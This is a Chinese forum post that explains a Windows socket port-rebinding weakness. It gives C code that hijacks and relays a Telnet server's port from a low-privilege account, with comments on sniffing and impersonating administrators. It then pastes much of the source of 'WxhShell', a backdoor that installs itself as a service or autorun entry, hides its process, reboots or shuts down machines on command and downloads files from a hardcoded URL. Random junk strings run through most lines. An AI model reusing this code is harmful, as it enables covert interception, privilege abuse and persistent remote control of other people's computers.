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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4 q % Gc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9$(N q  
2 =>3B  
  saddr.sin_family = AF_INET; IAmMO[9H  
q|lP?-j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <g&GIFE,  
a*,V\l|6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ncsk(`lo  
1?TgI0HS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o9{1_7K  
Nhjz~S<o  
  这意味着什么?意味着可以进行如下的攻击: H]dN'c-  
8M['-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y}\3PaUa  
I$TD[W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sWq}/!@&  
3=Xvl 58k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;$r!eFY;  
U|+`Eth8(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .?F`H[^)^u  
"LZv\c~v,%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p|r>tBv?x  
"+&@iL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r_V^sX  
^'vWv C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MLmk=&d  
"W}+~Sn  
  #include gi/W3q3c6  
  #include NA$ODK -  
  #include U<yKC8  
  #include    %A@U7gqc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )B^T7{  
  int main() m`,h nDp  
  { %(1y  
  WORD wVersionRequested; i+Xb3+R  
  DWORD ret; \D! I"mr  
  WSADATA wsaData; !;U}ax;AF  
  BOOL val; ({t6Cbw  
  SOCKADDR_IN saddr; 0mT.J~}1v  
  SOCKADDR_IN scaddr; )|U+<r<  
  int err; 0^MRPE|f5  
  SOCKET s; 3_Re>i  
  SOCKET sc; p:4oA<V  
  int caddsize; k'd=|U;(FV  
  HANDLE mt; rdm&YM`J  
  DWORD tid;   5bprhq-7  
  wVersionRequested = MAKEWORD( 2, 2 ); Ar$ Am  
  err = WSAStartup( wVersionRequested, &wsaData ); 0 !F! Y_  
  if ( err != 0 ) { Z1+1>|-iW  
  printf("error!WSAStartup failed!\n"); !2g*=oY  
  return -1; iC<qWq|S_m  
  } LZ~}*}jy  
  saddr.sin_family = AF_INET; WNV}@  
   1&YkRCn0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M[ ,:NE4H  
zO)3MC7l*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); * @'N/W/8  
  saddr.sin_port = htons(23); 140_WV?7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \w@ "`!%  
  { &B ^LaRg  
  printf("error!socket failed!\n"); vF$sVu|B  
  return -1; s\ YHT.O?  
  } _2S( *  
  val = TRUE; 7a<:\F}E0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XRWy#Pj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IM~2=+  
  { A#Jx6T`a  
  printf("error!setsockopt failed!\n"); QetyuhS~  
  return -1; &qae+p?  
  } %8g1h)F"S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V82N8-l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 </jTWc'}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IkJ-*vI6  
pu6@X7W"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X< p KAO\  
  { @ZGD'+zd?  
  ret=GetLastError(); 5X,|Pn  
  printf("error!bind failed!\n"); 7 y'2  
  return -1; $~<]G)*Z  
  } JWvL  
  listen(s,2); 4jdP3Q/  
  while(1) Q}:#H z?U  
  { &`Ek-b!7  
  caddsize = sizeof(scaddr); |t uh/e@dx  
  //接受连接请求  MON]rj7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XMw*4j2E  
  if(sc!=INVALID_SOCKET) $irF  
  { Ni-@El99  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i9j#Tu93 f  
  if(mt==NULL) [e;c)XS[  
  { eNX!EN(^  
  printf("Thread Creat Failed!\n"); KetNFwbUf  
  break; 9B?-&t  
  } %,Lv},%Y  
  } h3t);}Y}D9  
  CloseHandle(mt); V(3=j)#  
  } ,IDCbJ  
  closesocket(s); ?]PE!7H  
  WSACleanup(); {Etvu  
  return 0; I> BGp4AQ  
  }   aGq1 YOD[$  
  DWORD WINAPI ClientThread(LPVOID lpParam) VHqHG`}:  
  { 6,a:s:$>}R  
  SOCKET ss = (SOCKET)lpParam; D,P{ ,/  
  SOCKET sc; u4vyj#V  
  unsigned char buf[4096]; 5)iOG#8qJ  
  SOCKADDR_IN saddr; u.dYDi  
  long num; x ?24oO  
  DWORD val; H<Ik.]m  
  DWORD ret; @jY=b<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jIi:tO9G^,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7-#   
  saddr.sin_family = AF_INET; F(KsB5OY?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7]H<ou  
  saddr.sin_port = htons(23); c8 Je&y8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {e p(_1  
  { B-UsMO  
  printf("error!socket failed!\n"); 1V.oR`&2E  
  return -1; YpI|=mv  
  } e2qSU[  
  val = 100; QTC!vKM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E.N  
  { je8 5G`{DC  
  ret = GetLastError(); 7!Qu+R  
  return -1; T:Nc^QP|tm  
  } O',Vce$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1]69S(  
  { rld8hFj  
  ret = GetLastError(); bEm9hFvd  
  return -1; /mXxj93UA  
  } )$ M2+_c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EKus0"|  
  { ! k 1 Ge+  
  printf("error!socket connect failed!\n"); slzB#  
  closesocket(sc); y*%uGG5  
  closesocket(ss); ]f_`w81[  
  return -1; wJj:hA}  
  } Ej8g/{  
  while(1) -Xx4:S  
  { X|-[i hp;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;y_]w6|n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 McpQ7\*h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,Qs%bq{t  
  num = recv(ss,buf,4096,0); ``%yVVg}  
  if(num>0) kH8/8  
  send(sc,buf,num,0); t{s*,X\b  
  else if(num==0) Ec2;?pvd%J  
  break; l dqU#{  
  num = recv(sc,buf,4096,0); Wy%FF\D.Y  
  if(num>0) e3ce?gk  
  send(ss,buf,num,0); K)U[xS;<  
  else if(num==0) xHMFYt+0$G  
  break; v& bG`\!  
  } G[1\5dK*uR  
  closesocket(ss); HItNd  
  closesocket(sc); }wkY`"  
  return 0 ; 6tFi\,)E  
  }  +IO>%  
Pt f(p`  
{ :1X N  
========================================================== K8R>O *~  
q k 6  
下边附上一个代码,,WXhSHELL hGkJ$QT  
u~aRFQ:  
========================================================== R<U]"4CBx  
a|"Uw `pX+  
#include "stdafx.h" uKXNzz  
GX0zirz  
#include <stdio.h> 3H`{ A/r  
#include <string.h> a{.q/Tbt  
#include <windows.h> [orL.D]  
#include <winsock2.h> a eeor  
#include <winsvc.h> O`Gq7=X  
#include <urlmon.h> X fqhD&g  
r5Tdp)S  
#pragma comment (lib, "Ws2_32.lib") DL?nvH  
#pragma comment (lib, "urlmon.lib") RFy MRE!?  
8'HS$J;C  
#define MAX_USER   100 // 最大客户端连接数 wV"`Du7E;  
#define BUF_SOCK   200 // sock buffer P/girce0  
#define KEY_BUFF   255 // 输入 buffer {BT/P!  
[d8Q AO1;)  
#define REBOOT     0   // 重启 >a,D8M?  
#define SHUTDOWN   1   // 关机 80wzn,o S  
\?d3Pn5`  
#define DEF_PORT   5000 // 监听端口 dniU{v  
BUJ\[/  
#define REG_LEN     16   // 注册表键长度 #5Z`Q^  
#define SVC_LEN     80   // NT服务名长度 acR|X@ \3  
S k~"-HL|  
// 从dll定义API {PcJuRTHB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XS[L-NHG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]m b8R:a1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [YfoQ1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z0jgUq`r  
WXl+w7jr  
// wxhshell配置信息 `;E/\eG"  
struct WSCFG { u] };QR  
  int ws_port;         // 监听端口 2t-w0~O  
  char ws_passstr[REG_LEN]; // 口令 6t6Z&0$h~  
  int ws_autoins;       // 安装标记, 1=yes 0=no >s f g`4  
  char ws_regname[REG_LEN]; // 注册表键名 ^taN?5  
  char ws_svcname[REG_LEN]; // 服务名 x8PT+KC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @#)` -]g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pn gto  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `za,sRFR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UJ)pae  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,erf{"Nh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HUi?\4  
xzm]v9k&  
}; 2 }r=DAe0  
w +t@G`d  
// default Wxhshell configuration /x6p  
struct WSCFG wscfg={DEF_PORT,  ?pTX4a&>  
    "xuhuanlingzhe", ;Y$>WKsV  
    1, zTF{ g+  
    "Wxhshell", &X$T "Dp  
    "Wxhshell", :8A+2ra&  
            "WxhShell Service", =?<WCR C*  
    "Wrsky Windows CmdShell Service", 9=%zdz2_S  
    "Please Input Your Password: ", n qcq3o*B  
  1, Gt9$hB7  
  "http://www.wrsky.com/wxhshell.exe", %l F*g  
  "Wxhshell.exe" Tlsh[@Q  
    }; lLx!_h  
Fb5U@X/vE  
// 消息定义模块  Y'iX   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {ez $kz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OSgJj MQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8M,*w6P  
char *msg_ws_ext="\n\rExit."; cO~<iy  
char *msg_ws_end="\n\rQuit."; _ E;T"SC  
char *msg_ws_boot="\n\rReboot..."; za>UE,?h  
char *msg_ws_poff="\n\rShutdown..."; iC gZ3M]  
char *msg_ws_down="\n\rSave to "; 8i#  
liKlc]oM  
char *msg_ws_err="\n\rErr!"; ) 7/Cg  
char *msg_ws_ok="\n\rOK!"; 5)k8(kH  
_R4}\3}!  
char ExeFile[MAX_PATH]; 8Bf >  
int nUser = 0; 25Dl4<-Z  
HANDLE handles[MAX_USER]; )ZG;.j  
int OsIsNt; X'Ss#s>g  
^X=Q{nB  
SERVICE_STATUS       serviceStatus; ;[v!#+yml  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4CNrIF@  
M tN>5k c  
// 函数声明  +\/Q  
int Install(void); $ V^gFes  
int Uninstall(void); "g{q=[U}  
int DownloadFile(char *sURL, SOCKET wsh); vl"w,@V7  
int Boot(int flag); Ot=jwvw  
void HideProc(void); 067c/ c  
int GetOsVer(void); d+9V% T  
int Wxhshell(SOCKET wsl); +#}GmUwPG$  
void TalkWithClient(void *cs); ~P4C`Q1PT#  
int CmdShell(SOCKET sock); jkAjYR.  
int StartFromService(void); S* h52li  
int StartWxhshell(LPSTR lpCmdLine); Wh[QR-7Ew  
YB#fAU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p~pD`'%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j{@O %fv=  
6EqA Y`y  
// 数据结构和表定义 A~zn;  
SERVICE_TABLE_ENTRY DispatchTable[] = ;Rrh$Ag  
{ }V?m =y [  
{wscfg.ws_svcname, NTServiceMain}, Dd3f@b[WX  
{NULL, NULL} i'>6Qo  
}; L 4By5)  
-^_m(@A<~  
// 自我安装 ?w3RqF@}  
int Install(void) mw @Pl\=  
{ OgQd yU  
  char svExeFile[MAX_PATH]; 2M %j-yG"  
  HKEY key; ^7gGtz2  
  strcpy(svExeFile,ExeFile); &?<uR)tl  
-<W?it?D  
// 如果是win9x系统,修改注册表设为自启动 *t@A-Sn  
if(!OsIsNt) { h\s/rZg=r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VtBC~?2U)B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %I1@{>OxG  
  RegCloseKey(key); C{exvLQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u4x-GObJM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (q)}`1d'  
  RegCloseKey(key); !09)WtsEfx  
  return 0; =i/Df ?  
    } ?&B8:<qy;L  
  } B8&q$QV  
} bI):-2&s}  
else { X5 vMY  
$)lkiA&;  
// 如果是NT以上系统,安装为系统服务 .OPknC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dwOfEYC  
if (schSCManager!=0) f:o.[4p2  
{ Cxf K(F  
  SC_HANDLE schService = CreateService #bOv}1,s  
  ( c%&,(NJ]K  
  schSCManager, i~@gI5[k+  
  wscfg.ws_svcname, Y}~sTuWU  
  wscfg.ws_svcdisp, |t,sK aL  
  SERVICE_ALL_ACCESS, 9~SPoR/_0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x:SjdT  
  SERVICE_AUTO_START, K #3^GB3P  
  SERVICE_ERROR_NORMAL, Vt`4u5HG  
  svExeFile, ZO+RE7f*?c  
  NULL, +a,SP   
  NULL, { FJMc O=  
  NULL, $LP(\T([  
  NULL, d$ouH%^cGu  
  NULL L]Tj]u)  
  ); lrrTeE*  
  if (schService!=0) Agc ss20.  
  { 35h|?eN_m!  
  CloseServiceHandle(schService); gtKih  
  CloseServiceHandle(schSCManager); Kz'GAm\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pa-*&p  
  strcat(svExeFile,wscfg.ws_svcname); \f,<\mJ#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pY&6p~\p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >+O0W)g{o  
  RegCloseKey(key); u`ir(JIj]  
  return 0; y-pdAkDh  
    } =dXHQU&Q  
  } p$,7qGST  
  CloseServiceHandle(schSCManager); Ar-Vu{`  
} "8QRYV~Z  
} '4,?YcZ?S  
HT7,B(.}  
return 1; &A:&2sP8  
} yQJ0",w3o.  
P@y)K!{Nk  
// 自我卸载 Y3@+aA  
int Uninstall(void) C(>!?-.  
{ ?e%*q^~Cu  
  HKEY key; FM]clC;X?  
9O g  
if(!OsIsNt) { Y[*.^l._  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2j f!o  
  RegDeleteValue(key,wscfg.ws_regname); +9/K|SB{ $  
  RegCloseKey(key); .7.G}z1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &Wy>t8DIK  
  RegDeleteValue(key,wscfg.ws_regname); lhM5a \  
  RegCloseKey(key); " ILF!z  
  return 0; B4 bB`r  
  } +149 o2  
} UDHOcb  
} 6+=_p$crMx  
else { HOi~eX1d  
m9h<)D'>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a>C;HO  
if (schSCManager!=0) hUpour |b  
{ auI`'O`/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iKq_s5|sW  
  if (schService!=0) Q7amp:JFb  
  { 0}GO$%l  
  if(DeleteService(schService)!=0) { )]n>.ZmLCB  
  CloseServiceHandle(schService); G!%m~+",  
  CloseServiceHandle(schSCManager); pZ Uy (  
  return 0; Fs >MFj  
  } 9q]f]S.L  
  CloseServiceHandle(schService); U_jW5mgsG  
  } *BxU5)O  
  CloseServiceHandle(schSCManager); 5VE=Oo#&  
}  /$93#$  
} '!$ QI@@  
,3rsjoKhd  
return 1; '7' 73  
} v1u~[c=|^  
6l,6k~Z9  
// 从指定url下载文件 JQLQS  
int DownloadFile(char *sURL, SOCKET wsh) em7L `,  
{ `D3q!e  
  HRESULT hr; 5X8 i=M;  
char seps[]= "/"; 4~Q<LEly  
char *token; lB2 F09`  
char *file; <|'ETqP<+  
char myURL[MAX_PATH]; NI/'SMj%  
char myFILE[MAX_PATH]; J3+qnT8X  
bv41et+Kb  
strcpy(myURL,sURL); zM8 jjB  
  token=strtok(myURL,seps); Zk7!CJVM  
  while(token!=NULL) F.(W`H*1+  
  { 6x5Q*^w  
    file=token; t .&JPTK-H  
  token=strtok(NULL,seps); E*R-Dno_F  
  } g[y&GCKY!=  
uJ|,-"~F  
GetCurrentDirectory(MAX_PATH,myFILE); 5~>j98K  
strcat(myFILE, "\\"); UQhD8Z'I.  
strcat(myFILE, file); `?^<r%*F.  
  send(wsh,myFILE,strlen(myFILE),0); p  Dg!Cs  
send(wsh,"...",3,0); ?&6|imPE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -5os0G80  
  if(hr==S_OK) (gdzgLHy  
return 0;  w@mCQ$  
else N f?\O@  
return 1; C(sz/x?11  
z$Z%us>io  
} 8\)4waz$  
X+;#^A3  
// 系统电源模块 hey/#GC*  
int Boot(int flag) mE+=H]`.p  
{ 8eCh5*_$  
  HANDLE hToken; TJcHqzcUc  
  TOKEN_PRIVILEGES tkp; SXXO#  
V1i^#;  
  if(OsIsNt) { ;Srzka2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y3V2}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [ P*L`F  
    tkp.PrivilegeCount = 1; K-(C5 "j_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nog{w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,S}wOjb@  
if(flag==REBOOT) { < A`srmS?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FIJ]`  
  return 0; .dc|?$XV  
} F(U(b_DPM  
else { U~|)=+%O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H_iQR9Ak7  
  return 0; ?Rh[S  
} 9)F$){G]vs  
  } vN6)Szim  
  else { r-hb]!t  
if(flag==REBOOT) { eH;{Ln  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U,< ?]h  
  return 0; $-]9/Ct  
} Vvn~G.&)  
else { =4/K#cQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w~AO;X*Ke"  
  return 0; < ?rdhx  
} 9WL$3z'*  
} |i(@1 l  
OQ3IkE`G  
return 1; [xDn=)`{V  
} LD;! s  
m.yt?`  
// win9x进程隐藏模块 U@".XIDQ  
void HideProc(void) hC!8-uBK5<  
{ >Qf`xUZ  
xn<x/e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "6WE6zq   
  if ( hKernel != NULL ) _nIt4l7  
  { |v"&Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `$] ZT>&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RbEtNwG@c  
    FreeLibrary(hKernel); uF@DJX}>  
  } J)^Kls\> t  
u0Opn=(_  
return; /6'5uP   
} 1[(/{CClB  
 LII4sf]  
// 获取操作系统版本 U5;Y o+z  
int GetOsVer(void) j-/F *P  
{ <xD6}h/  
  OSVERSIONINFO winfo; WHR6/H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }ho6  
  GetVersionEx(&winfo); pE]s>T a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f!}e*oX  
  return 1; eq4Yc*|9  
  else "IzM:  
  return 0; i=`@)E  
} Z7=k$e  
9{R88f?;  
// 客户端句柄模块 x3=SMN|a  
int Wxhshell(SOCKET wsl) . L]!*  
{ bP1]:^ x@W  
  SOCKET wsh; =BgQ Ss/^c  
  struct sockaddr_in client; ;<s0~B#9}  
  DWORD myID; TE@bV9a  
6z1>(Za7>  
  while(nUser<MAX_USER) $&FeR*$|g  
{ j.g9O]pi  
  int nSize=sizeof(client); HhT6gJWrU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R?J=5tO  
  if(wsh==INVALID_SOCKET) return 1; 2~!+EH  
^r^)  &]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0`kaT ?>  
if(handles[nUser]==0) l'#a2Pl  
  closesocket(wsh); f26hB;n  
else %8! }" Xa  
  nUser++; Qg gx:  
  } JX2@i8[~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u*<knZ~ty  
oz/Nx{bg  
  return 0; PG'+vl  
} S,^)\=v  
,I8[tiR"b  
// 关闭 socket c>yqq'  
void CloseIt(SOCKET wsh) Huho|6ohH  
{ rI;tMNs  
closesocket(wsh); "tg?V  
nUser--; Zf8_ko;|:-  
ExitThread(0); {_>}K  
} vjO@"2YEw  
@hj5j;NHK  
// 客户端请求句柄 &bT \4  
void TalkWithClient(void *cs) E@92hB4D"  
{ b&E9xD/;r  
VL| q`n  
  SOCKET wsh=(SOCKET)cs; )CUB7D)=  
  char pwd[SVC_LEN]; _Xzl=j9[  
  char cmd[KEY_BUFF]; B0"55g*c  
char chr[1]; qfl#ki`,  
int i,j; b]xE^zM-I`  
zpBkP-%}E  
  while (nUser < MAX_USER) { [X\~J &kD  
pF}WMt  
if(wscfg.ws_passstr) { Z<@dM2b)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8AuOe7D9A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &BS*C} },  
  //ZeroMemory(pwd,KEY_BUFF); )lDmYt7me  
      i=0; < r7s,][&  
  while(i<SVC_LEN) { We?cRb  
dE ]yb|Ld  
  // 设置超时 ^%jk.*  
  fd_set FdRead; ,7mB`0j>  
  struct timeval TimeOut; _ 2E*  
  FD_ZERO(&FdRead); !pAb+6~T  
  FD_SET(wsh,&FdRead); t @vb3  
  TimeOut.tv_sec=8; 6Us*zKgW  
  TimeOut.tv_usec=0; UTR`jXCg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5><KTya?=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rs+ ["h  
'jj|bN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8D6rShx =  
  pwd=chr[0]; Dwuao`~Xm  
  if(chr[0]==0xd || chr[0]==0xa) { )0N^rw kW  
  pwd=0; uwo\FI  
  break; /+ Q3JS(  
  } cPbAR'  
  i++; : oO ?A  
    } ;?.w!|6  
{dXmSuO  
  // 如果是非法用户,关闭 socket pUD(5v*0R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^SC2k LI  
} pRH'>}rtuH  
gUHx(Fi[4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 28x:]5=jb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j`:D BO&)\  
Z,1b$:+  
while(1) { GvI8W)d3,R  
S:8 WBY]M  
  ZeroMemory(cmd,KEY_BUFF); X<mlaXwrA  
gi #dSd1\&  
      // 自动支持客户端 telnet标准   o9]i {e>L  
  j=0; )];Bo.QA  
  while(j<KEY_BUFF) { (d>}Fp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _bn "c@s  
  cmd[j]=chr[0]; Ge1b_?L_  
  if(chr[0]==0xa || chr[0]==0xd) { ToX--w4  
  cmd[j]=0; w9TE E,t;5  
  break; L%;[tu(*  
  } YDYN#Ob(;  
  j++; 5jAS1XG  
    } H*HL:o-[  
;(&S1Rv9  
  // 下载文件 apZPHau6h  
  if(strstr(cmd,"http://")) { [,56oMd~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vEw8<<cgg  
  if(DownloadFile(cmd,wsh)) (\UpJlW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{!Cx9V  
  else kgh0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q~`dxq`}  
  } n?*r,)'  
  else { V5'(op/  
K<q#2G0{  
    switch(cmd[0]) { jss.j~8  
  eZBC@y  
  // 帮助 "x3x$JQZy  
  case '?': { 2N{^V?:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P^AI*tH"m  
    break; /j-c29nz  
  } -&l%CR,U  
  // 安装 X0Wx\xDg[  
  case 'i': { =Cd{bj.8  
    if(Install()) _L+j6N.h1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (hEg&@  
    else \/64Xv3L0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1,P\dGmu  
    break; 3 Ak'Ue  
    } #p ;O3E@  
  // 卸载 q@g#DP+C  
  case 'r': { Z~F*$jn  
    if(Uninstall()) Lt ^*L% x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Vu;R5GZ}  
    else />N#PF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =R<92v  
    break; =3ovaP  
    } 1R;@v3  
  // 显示 wxhshell 所在路径 y)"rh/;  
  case 'p': { S+"Bq:u"  
    char svExeFile[MAX_PATH]; ex BLj *]  
    strcpy(svExeFile,"\n\r"); r.lHlHl  
      strcat(svExeFile,ExeFile); wX$|(Y }  
        send(wsh,svExeFile,strlen(svExeFile),0); 9J?lNq  
    break; M4D @G  
    } YUHiD *  
  // 重启 s/.P/g%tA>  
  case 'b': { I,<?Kv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8+J>jZ  
    if(Boot(REBOOT)) J ?EDz,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >JAWcT)d  
    else { ;6~5FTmV  
    closesocket(wsh); 0n'v F&E8  
    ExitThread(0); z1]nC]2  
    } ]-9w'K d  
    break; K7([Gc9  
    } UhrRB  
  // 关机 TEh.?  
  case 'd': { /&<V5?1|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _m[DieR  
